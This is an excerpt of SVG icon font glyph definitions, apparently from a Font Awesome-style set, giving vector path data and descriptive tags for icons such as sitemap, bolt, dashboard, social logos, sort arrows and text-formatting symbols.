<glyph unicode="&#xf0e8;" d="M 448,72l0-80 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 l-128,0 l0-48 l 24,0 q 10,0 17-7t 7-17l0-80 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 l-128,0 l0-48 l 24,0 q 10,0 17-7t 7-17l0-80  q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 q0,13 9.5,22.5t 22.5,9.5l 128,0 l0,48 l-24,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17l0-80 q0-10 -7-17t-17-7l-24,0 l0-48 l 128,0 q 13,0 22.5-9.5t 9.5-22.5l0-48 l 24,0 q 10,0 17-7t 7-17 z" data-tags="sitemap, tree" />
<glyph unicode="&#xf0e7;" d="M 221.25,242.5q 4.5-5 1.75-11l-135-289.25q-3.25-6.25 -10.5-6.25q-1,0 -3.5,0.5q-4.25,1.25 -6.375,4.75t-1.125,7.5l 49.25,202l-101.5-25.25q-1-0.25 -3-0.25q-4.5,0 -7.75,2.75q-4.5,3.75 -3.25,9.75l 50.25,206.25q 1,3.5 4,5.75t 7,2.25l 82,0 q 4.75,0 8-3.125t 3.25-7.375q0-2 -1.25-4.5l-42.75-115.75l 99,24.5q 2,0.5 3,0.5q 4.75,0 8.5-3.75z" horiz-adv-x="224" data-tags="bolt, lightning, power, electricity, energy" />
<glyph unicode="&#xf0e6;" d="M 176,288q-38.25,0 -71.5-13t-52.875-35.25t-19.625-47.75q0-20.5 13.25-39.5t 37.25-33l 24.25-14l-8.75-21q 8.5,5 15.5,9.75l 11,7.75l 13.25-2.5q 19.5-3.5 38.25-3.5q 38.25,0 71.5,13t 52.875,35.25t 19.625,47.75t-19.625,47.75t-52.875,35.25t-71.5,13zM 176,320q 47.75,0 88.375-17.125t 64.125-46.625t 23.5-64.25t-23.5-64.25 t-64.125-46.625t-88.375-17.125q-21.5,0 -44,4q-31-22 -69.5-32q-9-2.25 -21.5-4l-0.75,0 q-2.75,0 -5.125,2t-2.875,5.25q-0.25,0.75 -0.25,1.625t 0.125,1.625t 0.5,1.5l 0.625,1.25t 0.875,1.375t 1,1.25t 1.125,1.25t 1,1.125q 1.25,1.5 5.75,6.25t 6.5,7.375t 5.625,7.25t 6.25,9.625t 5.125,11q-31,18 -48.75,44.25t-17.75,56q0,34.75 23.5,64.25t 64.125,46.625 t 88.375,17.125zM 381.5,27.75q 2.5-6 5.125-11t 6.25-9.625t 5.625-7.25t 6.5-7.375t 5.75-6.25q 0.25-0.25 1-1.125t 1.125-1.25t 1-1.25t 0.875-1.375l 0.625-1.25t 0.5-1.5t 0.125-1.625t-0.25-1.625q-0.75-3.5 -3.25-5.5t-5.5-1.75q-12.5,1.75 -21.5,4q-38.5,10 -69.5,32q-22.5-4 -44-4q-67.75,0 -118,33q 14.5-1 22-1q 40.25,0 77.25,11.25t 66,32.25 q 31.25,23 48,53t 16.75,63.5q0,19.25 -5.75,38q 32.25-17.75 51-44.5t 18.75-57.5q0-30 -17.75-56.125t-48.75-44.125z" data-tags="comments-alt, chat, talk, bubbles" />
<glyph unicode="&#xf0e5;" d="M 224,288q-51,0 -95.375-17.375t-70.5-46.875t-26.125-63.75q0-28 17.875-53.375t 50.375-43.875l 21.75-12.5l-6.75-24q-6-22.75 -17.5-43q 38,15.75 68.75,42.75l 10.75,9.5l 14.25-1.5q 17.25-2 32.5-2q 51,0 95.375,17.375t 70.5,46.875t 26.125,63.75t-26.125,63.75t-70.5,46.875t-95.375,17.375zM 448,160 q0-43.5 -30-80.375t-81.5-58.25t-112.5-21.375q-17.5,0 -36.25,2q-49.5-43.75 -115-60.5q-12.25-3.5 -28.5-5.5l-1.25,0 q-3.75,0 -6.75,2.625t-4,6.875l0,0.25 q-0.75,1 -0.125,3t 0.5,2.5t 1.125,2.375l 1.5,2.25t 1.75,2.125t 2,2.25q 1.75,2 7.75,8.625t 8.625,9.5t 7.75,9.875t 8.125,12.75t 6.75,14.75t 6.5,19q-39.25,22.25 -61.875,55t-22.625,70.25q0,43.5 30,80.375 t 81.5,58.25t 112.5,21.375t 112.5-21.375t 81.5-58.25t 30-80.375z" data-tags="comment-alt, chat, talk, bubble" />
<glyph unicode="&#xf0e4;" d="M 96,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 144,208q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 251,87.75l 25.25,95.5q 1.5,6.5 -1.875,12.125t-9.625,7.375 t-12-1.625t-7.5-9.875l-25.25-95.5q-15-1.25 -26.75-10.875t-15.75-24.625q-5-19.25 5-36.5t 29.25-22.25t 36.5,5t 22.25,29.25q 4,15 -1.5,29.25t-18,22.75zM 416,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 256,256q0,13.25 -9.375,22.625 t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 368,208q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 448,96q0-65.25 -35.25-120.75q-4.75-7.25 -13.5-7.25l-350.5,0 q-8.75,0 -13.5,7.25 q-35.25,55.25 -35.25,120.75q0,45.5 17.75,87t 47.75,71.5t 71.5,47.75t 87,17.75t 87-17.75t 71.5-47.75t 47.75-71.5t 17.75-87z" data-tags="dashboard, meter, speed" />
<glyph unicode="&#xf0e3;" d="M 442.75,0q0-13.25 -9.25-22.5l-26.75-27q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-90.75,91q-9.5,9 -9.5,22.5q0,13.25 10.75,24l-64,64l-31.5-31.5q-3.5-3.5 -8.5-3.5t-8.5,3.5q 0.5-0.5 3.125-3t 3.125-3.25t 2.5-2.875t 2.5-3.375t 1.5-3.375t 1.375-4.125t 0.375-4.5q0-9.5 -7-17q-0.75-0.75 -4.125-4.5t-4.75-5.125 t-4.625-4.125t-5.5-3.875t-5.5-2.25t-6.5-1.125q-10,0 -17,7l-102,102q-7,7 -7,17q0,3.25 1.125,6.5t 2.25,5.5t 3.875,5.5t 4.125,4.625t 5.125,4.75t 4.5,4.125q 7.5,7 17,7q 2.5,0 4.5-0.375t 4.125-1.375t 3.375-1.5t 3.375-2.5t 2.875-2.5t 3.25-3.125t 3-3.125q-3.5,3.5 -3.5,8.5t 3.5,8.5l 87,87q 3.5,3.5 8.5,3.5t 8.5-3.5 q-0.5,0.5 -3.125,3t-3.125,3.25t-2.5,2.875t-2.5,3.375t-1.5,3.375t-1.375,4.125t-0.375,4.5q0,9.5 7,17q 0.75,0.75 4.125,4.5t 4.75,5.125t 4.625,4.125t 5.5,3.875t 5.5,2.25t 6.5,1.125q 10,0 17-7l 102-102q 7-7 7-17q0-3.25 -1.125-6.5t-2.25-5.5t-3.875-5.5t-4.125-4.625t-5.125-4.75t-4.5-4.125q-7.5-7 -17-7 q-2.5,0 -4.5,0.375t-4.125,1.375t-3.375,1.5t-3.375,2.5t-2.875,2.5t-3.25,3.125t-3,3.125q 3.5-3.5 3.5-8.5t-3.5-8.5l-31.5-31.5l 64-64q 10.75,10.75 24,10.75q 13,0 22.75-9.25l 90.75-90.75q 9.25-9.75 9.25-22.75z" data-tags="legal, hammer, rules" />
<glyph unicode="&#xf0e2;" d="M 384,160q0-39 -15.25-74.5t-41-61.25t-61.25-41t-74.5-15.25q-43,0 -81.75,18.125t-66,51.125q-1.75,2.5 -1.625,5.625t 2.125,5.125l 34.25,34.5q 2.5,2.25 6.25,2.25q 4-0.5 5.75-3q 18.25-23.75 44.75-36.75t 56.25-13q 26,0 49.625,10.125t 40.875,27.375t 27.375,40.875t 10.125,49.625t-10.125,49.625t-27.375,40.875 t-40.875,27.375t-49.625,10.125q-24.5,0 -47-8.875t-40-25.375l 34.25-34.5q 7.75-7.5 3.5-17.25q-4.25-10 -14.75-10l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,10.5 10,14.75q 9.75,4.25 17.25-3.5l 32.5-32.25q 26.75,25.25 61.125,39.125t 71.125,13.875q 39,0 74.5-15.25t 61.25-41t 41-61.25t 15.25-74.5z" horiz-adv-x="384" data-tags="undo, arrow, loop" />
<glyph unicode="&#xf0e1;" d="M 87.25,227.75l0-247.75 l-82.5,0 l0,247.75 l 82.5,0 zM 92.5,304.25q 0.25-18.25 -12.625-30.5t-33.875-12.25l-0.5,0 q-20.5,0 -33,12.25t-12.5,30.5q0,18.5 12.875,30.625t 33.625,12.125t 33.25-12.125t 12.75-30.625zM 384,122l0-142 l-82.25,0 l0,132.5 q0,26.25 -10.125,41.125t-31.625,14.875q-15.75,0 -26.375-8.625t-15.875-21.375q-2.75-7.5 -2.75-20.25l0-138.25 l-82.25,0  q 0.5,99.75 0.5,161.75t-0.25,74l-0.25,12l 82.25,0 l0-36 l-0.5,0 q 5,8 10.25,14t 14.125,13t 21.75,10.875t 28.625,3.875q 42.75,0 68.75-28.375t 26-83.125z" horiz-adv-x="384" data-tags="linkedin, social" />
<glyph unicode="&#xf0e0;" d="M 448,206.5l0-198.5 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,198.5 q 11-12.25 25.25-21.75q 90.5-61.5 124.25-86.25q 14.25-10.5 23.125-16.375t 23.625-12t 27.5-6.125l 0.25,0 l 0.25,0 q 12.75,0 27.5,6.125t 23.625,12t 23.125,16.375q 42.5,30.75 124.5,86.25q 14.25,9.75 25,21.75zM 448,280q0-19.75 -12.25-37.75t-30.5-30.75 q-94-65.25 -117-81.25q-2.5-1.75 -10.625-7.625t-13.5-9.5t-13-8.125t-14.375-6.75t-12.5-2.25l-0.25,0 l-0.25,0 q-5.75,0 -12.5,2.25t-14.375,6.75t-13,8.125t-13.5,9.5t-10.625,7.625q-22.75,16 -65.5,45.625t-51.25,35.625q-15.5,10.5 -29.25,28.875t-13.75,34.125q0,19.5 10.375,32.5t 29.625,13l 368,0 q 16.25,0 28.125-11.75t 11.875-28.25z" data-tags="envelope-alt, letter, email, mail, contact" />
<glyph unicode="&#xf0de;" d="M 256,208q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256" data-tags="sort-up" />
<glyph unicode="&#xf0dd;" d="M 256,112q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="256" data-tags="sort-down" />
<glyph unicode="&#xf0dc;" d="M 256,112q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 256,208q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256" data-tags="sort, menu, dropdown, arrows" />
<glyph unicode="&#xf0db;" d="M 40,0l 152,0 l0,288 l-160,0 l0-280 q0-3.25 2.375-5.625t 5.625-2.375zM 384,8l0,280 l-160,0 l0-288 l 152,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-336,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 336,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="416" data-tags="columns, layout" />
<glyph unicode="&#xf0da;" d="M 144,160q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,224 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="160" data-tags="caret-right, right, arrow, next" />
<glyph unicode="&#xf0d9;" d="M 160,272l0-224 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="160" data-tags="caret-left, previous, arrow, left" />
<glyph unicode="&#xf0d8;" d="M 256,80q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256" data-tags="caret-up, upload, top, arrow" />
<glyph unicode="&#xf0d7;" d="M 256,208q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="256" data-tags="caret-down, download, bottom, arrow" />
<glyph unicode="&#xf0d6;" d="M 192,96l 96,0 l0,24 l-32,0 l0,112 l-28.5,0 l-37-34.25l 19.25-20q 10.5,9.25 13.75,14.25l 0.5,0 l0-72 l-32,0 l0-24 zM 320,160q0-17.5 -5.25-35.5t-14.875-33.5t-25.375-25.25t-34.5-9.75t-34.5,9.75t-25.375,25.25t-14.875,33.5t-5.25,35.5t 5.25,35.5t 14.875,33.5t 25.375,25.25t 34.5,9.75t 34.5-9.75t 25.375-25.25t 14.875-33.5t 5.25-35.5zM 448,96 l0,128 q-26.5,0 -45.25,18.75t-18.75,45.25l-288,0 q0-26.5 -18.75-45.25t-45.25-18.75l0-128 q 26.5,0 45.25-18.75t 18.75-45.25l 288,0 q0,26.5 18.75,45.25t 45.25,18.75zM 480,304l0-288 q0-6.5 -4.75-11.25t-11.25-4.75l-448,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,288 q0,6.5 4.75,11.25t 11.25,4.75l 448,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="480" data-tags="money, bill" />
<glyph unicode="&#xf0d5;" d="M 219,17.75q0,5.25 -1.125,10.125t-2.375,9t-4.375,8.625t-5.25,7.625t-6.625,7.375t-6.875,6.375t-8,6.375t-7.75,5.75t-8.25,5.75t-7.625,5.25q-4.25,0.5 -12.5,0.5q-13.5,0 -26.5-1.75t-27-6.25t-24.5-11.5t-17.25-18.75t-6.75-26.75q0-17 8.875-30.375t 23.25-21t 30.125-11.375t 31.75-3.75q 14.75,0 28.125,3.125t 25.125,9.75t 18.625,18.375 t 6.875,27.5zM 189,233.25q0,15 -4.125,31.875t-11.75,32.625t-21,26t-29.875,10.25q-23.25,0 -36-17.25t-12.75-41.25q0-11.75 2.875-24.75t 8.875-26t 14-23.375t 19.5-16.875t 24.25-6.5q 24.25,0 35.125,15.125t 10.875,40.125zM 156.25,352l 109.25,0 l-33.75-19.75l-33.75,0 q 17.75-11.25 27.5-31.5t 9.75-42.25q0-18.5 -5.75-32.875t-14-23.125t-16.5-16.125 t-14-15.25t-5.75-16.875q0-6.5 4.125-12.75t 10.75-12t 14.625-12t 16-13.875t 14.625-16.5t 10.75-21.25t 4.125-26.625q0-40 -35-70.5q-38-32.75 -105-32.75q-14.75,0 -29.875,2.5t-30.5,8.375t-27.125,14.5t-19.25,22.25t-7.5,30.375q0,15.25 9.25,33.75q 8,16 24,27.625t 36.25,17.75t 38.75,9t 37.5,3.375q-16,20.75 -16,37.25q0,3 0.5,5.875 t 1.25,4.875t 2,5.375t 1.75,5.375q-10-1.25 -17.5-1.25q-37.25,0 -63.875,24.5t-26.625,61.5q0,35 23.75,62.625t 58.5,35.375q 23.5,5 46.75,5zM 416,288l0-32 l-64,0 l0-64 l-32,0 l0,64 l-64,0 l0,32 l 64,0 l0,64 l 32,0 l0-64 l 64,0 z" horiz-adv-x="416" data-tags="google-plus, social" />
<glyph unicode="&#xf0d4;" d="M 169.5-14.25q0-9.5 -2.5-17.75l-95,0 q-23.75,0 -42.875,14.125t-25.875,36.875q 6,11.25 17.25,19.375t 25,12.375t 26.75,6t 26.75,1.75q 8,0 12.25-0.5q 1.5-1 7.625-5.25t 8.25-5.75t 7.75-5.75t 8-6.375t 6.875-6.375t 6.625-7.375t 5.25-7.625t 4.375-8.625t 2.375-9t 1.125-10.125zM 96.25,73.5q-58.5-1.75 -96.25-21.25l0,108.25 q 25.75-29.5 68.25-29.5 q 8,0 17.5,1.25q-5.25-15.25 -5.25-21.5q0-16.75 15.75-37.25zM 139.5,201.25q0-25 -10.875-40.125t-35.125-15.125q-12.75,0 -24.25,6.5t-19.5,16.875t-14,23.375t-8.875,26t-2.875,24.75q0,24 12.875,41.25t 36.125,17.25q 16.5,0 29.75-10.25t 21-26t 11.75-32.5t 4-32zM 384,224l0-184 q0-29.75 -21.125-50.875t-50.875-21.125l-117,0  q 9.75,18.25 9.75,39.25q0,16.5 -5.5,30.625t-13.875,23.25t-18,17.75t-18,14.875t-13.875,13.625t-5.5,14.875q0,9 5.75,17t 14,15.375t 16.375,16.125t 13.875,23.25t 5.75,32.75t-6.625,36.375t-18.875,29.625q-1.5,1.5 -3.5,2.75t-3.125,1.875t-2.5,2.375t-2.625,4.25l 33.75,0 l 33.75,16l-109.25,0 q-34.5,0 -61.125-9.625t-45.625-33.375q0,31.5 20.25,53.25t 51.75,21.75l 240,0  q 29.75,0 50.875-21.125t 21.125-50.875l0-24 l-64,0 l0,64 l-32,0 l0-64 l-64,0 l0-32 l 64,0 l0-64 l 32,0 l0,64 l 64,0 z" horiz-adv-x="384" data-tags="google-plus-sign, social" />
<glyph unicode="&#xf0d3;" d="M 312,352q 29.75,0 50.875-21.125t 21.125-50.875l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-181.25,0 q 21.25,30.5 27,52.5q 2.25,8.5 13.25,52.25q 5.25-9.75 18.375-16.75t 28.125-7q 45.25,0 73.875,36.875t 28.625,93.375q0,21 -8.75,40.625t-24.125,34.75t-38.125,24.25t-49.25,9.125q-26,0 -48.625-7.125t-38.25-19.125 t-26.875-27.375t-16.625-32t-5.375-33.125q0-25.5 9.875-45t 29.125-27.5q 3.25-1.25 5.875,0t 3.625,4.75q 2.5,11 3.75,15.25q 1.5,5.75 -2.75,10.5q-12.5,15.5 -12.5,37.5q0,37.5 25.875,64.125t 67.625,26.625q 37.25,0 58.125-20.25t 20.875-52.5q0-42 -16.875-71.5t-43.375-29.5q-15,0 -24.25,10.875t-5.75,25.875q 2,8.5 6.625,23.125 t 7.375,25.5t 2.75,18.625q0,12.25 -6.625,20.375t-18.875,8.125q-15.25,0 -25.875-14.125t-10.625-34.875q0-18 6-30.25l-24.5-103.5q-6-25 -1.75-63.5l-45.75,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 z" horiz-adv-x="384" data-tags="pinterest-sign, social" />
<glyph unicode="&#xf0d2;" d="M 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75q-27.75,0 -54.5,8q 14.75,23.25 19.5,41q 2.25,8.5 13.5,52.75q 5-9.75 18.25-16.875t 28.5-7.125q 30.25,0 54,17.125t 36.75,47.125t 13,67.5q0,28.5 -14.875,53.5t-43.125,40.75t-63.75,15.75q-26.25,0 -49-7.25t-38.625-19.25t-27.25-27.625t-16.75-32.375t-5.375-33.5 q0-26 10-45.75t 29.25-27.75q 7.5-3 9.5,5q 0.5,1.75 2,7.75t 2,7.5q 1.5,5.75 -2.75,10.75q-12.75,15.25 -12.75,37.75q0,37.75 26.125,64.875t 68.375,27.125q 37.75,0 58.875-20.5t 21.125-53.25q0-42.5 -17.125-72.25t-43.875-29.75q-15.25,0 -24.5,10.875t-5.75,26.125q 2,8.75 6.625,23.375t 7.5,25.75t 2.875,18.875q0,12.5 -6.75,20.75t-19.25,8.25 q-15.5,0 -26.25-14.25t-10.75-35.5q0-18.25 6.25-30.5l-24.75-104.5q-4.25-17.5 -3.25-44.25q-51.5,22.75 -83.25,70.25t-31.75,105.75q0,52.25 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="pinterest, social" />
<glyph unicode="&#xf0d1;" d="M 160,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5t 9.5-22.5t 22.5-9.5t 22.5,9.5t 9.5,22.5zM 64,160l 96,0 l0,64 l-39.5,0 q-3.25,0 -5.5-2.25l-48.75-48.75q-2.25-2.25 -2.25-5.5l0-7.5 zM 384,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5t 9.5-22.5t 22.5-9.5t 22.5,9.5t 9.5,22.5zM 448,304l0-256 q0-3.75 -1-6.625t-3.375-4.625 t-4.125-2.875t-5.875-1.5t-5.625-0.5t-6.375,0t-5.625,0.125q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-96,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-16,0 q-0.75,0 -5.625-0.125t-6.375,0t-5.625,0.5t-5.875,1.5t-4.125,2.875t-3.375,4.625t-1,6.625q0,6.5 4.75,11.25t 11.25,4.75l0,80 q0,2 -0.125,8.75t0,9.5 t 0.625,8.625t 1.625,9.25t 3.5,7.625t 5.625,7.5l 49.5,49.5q 4.75,4.75 12.625,8t 14.625,3.25l 40,0 l0,48 q0,6.5 4.75,11.25t 11.25,4.75l 256,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="truck, transfer, transport" />
<glyph unicode="&#xf0d0;" d="M 297.5,238.75l 73.25,73.25l-26.75,26.75l-73.25-73.25zM 409.25,312q0-6.75 -4.5-11.25l-321.5-321.5q-4.5-4.5 -11.25-4.5t-11.25,4.5l-49.5,49.5q-4.5,4.5 -4.5,11.25t 4.5,11.25l 321.5,321.5q 4.5,4.5 11.25,4.5t 11.25-4.5l 49.5-49.5q 4.5-4.5 4.5-11.25zM 71.5,359.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5zM 159,319 l 49-15l-49-15l-15-49l-15,49l-49,15l 49,15l 15,49zM 391.5,199.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5zM 231.5,359.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5z" horiz-adv-x="416" data-tags="magic, wand, wizard" />
<glyph unicode="&#xf0ce;" d="M 128,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 128,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75 l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 128,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,40l0,48  q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48  q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 416,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-336,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 336,0 q 16.5,0 28.25-11.75t 11.75-28.25 z" horiz-adv-x="416" data-tags="table, grid" />
<glyph unicode="&#xf0cd;" d="M 12,328.25q-9.25,0.5 -11.25,1l-0.75,22q 3.25,0.25 10,0.25q 15,0 28-1q 33-1.75 41.5-1.75q 21.5,0 42,0.75q 29,1 36.5,1.25q 14,0 21.5,0.5l-0.25-3.5l 0.5-16l0-2.25 q-15-2.25 -31-2.25q-15,0 -19.75-6.25q-3.25-3.5 -3.25-33q0-3.25 0.125-8.125t 0.125-6.375l 0.25-57.25l 3.5-70q 1.5-31 12.75-50.5q 8.75-14.75 24-23q 22-11.75 44.25-11.75 q 26,0 47.75,7q 14,4.5 24.75,12.75q 12,9 16.25,16q 9,14 13.25,28.5q 5.25,18.25 5.25,57.25q0,19.75 -0.875,32t-2.75,30.625t-3.375,39.875l-1,14.75q-1.25,16.75 -6,22q-8.5,8.75 -19.25,8.5l-25-0.5l-3.5,0.75l 0.5,21.5l 21,0 l 51.25-2.5q 19-0.75 49,2.5l 4.5-0.5q 1.5-9.5 1.5-12.75q0-1.75 -1-7.75q-11.25-3 -21-3.25q-18.25-2.75 -19.75-4.25q-3.75-3.75 -3.75-10.25 q0-1.75 0.375-6.75t 0.375-7.75q 2-4.75 5.5-99q 1.5-48.75 -3.75-76q-3.75-19 -10.25-30.5q-9.5-16.25 -28-30.75q-18.75-14.25 -45.5-22.25q-27.25-8.25 -63.75-8.25q-41.75,0 -71,11.5q-29.75,11.75 -44.75,30.5q-15.25,19 -20.75,48.75q-4,20 -4,59.25l0,83.25 q0,47 -4.25,53.25q-6.25,9 -36.75,9.75zM 384-24l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-368,0  q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 368,0 q 3.5,0 5.75,2.25t 2.25,5.75z" horiz-adv-x="384" data-tags="underline, editor, format" />
<glyph unicode="&#xf0cc;" d="M 440,160q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-432,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 432,0 zM 120.75,176q-7,8.75 -12.75,20q-12,24.25 -12,47q0,45.25 33.5,77.25q 33.25,31.75 98.25,31.75q 12.5,0 41.75-4.75q 16.5-3 44.25-12q 2.5-9.5 5.25-29.5q 3.5-30.75 3.5-45.75q0-4.5 -1.25-11.25l-3-0.75l-21,1.5 l-3.5,0.5q-12.5,37.25 -25.75,51.25q-22,22.75 -52.5,22.75q-28.5,0 -45.5-14.75q-16.75-14.5 -16.75-36.5q0-18.25 16.5-35t 69.75-32.25q 17.25-5 43.25-16.5q 14.5-7 23.75-13l-185.75,0 zM 247.5,112l 102.75,0 q 1.75-9.75 1.75-23q0-27.75 -10.25-53q-5.75-13.75 -17.75-26q-9.25-8.75 -27.25-20.25q-20-12 -38.25-16.5q-20-5.25 -50.75-5.25q-28.5,0 -48.75,5.75 l-35,10q-14.25,4 -18,7q-2,2 -2,5.5l0,3.25 q0,27 -0.5,39q-0.25,7.5 0,17l 0.5,9.25l0,11 l 25.5,0.5q 3.75-8.5 7.5-17.75t 5.625-14t 3.125-6.75q 8.75-14.25 20-23.5q 10.75-9 26.25-14.25q 14.75-5.5 33-5.5q 16,0 34.75,6.75q 19.25,6.5 30.5,21.5q 11.75,15.25 11.75,32.25q0,21 -20.25,39.25q-8.5,7.25 -34.25,17.75z" data-tags="strikethrough, editor, format" />
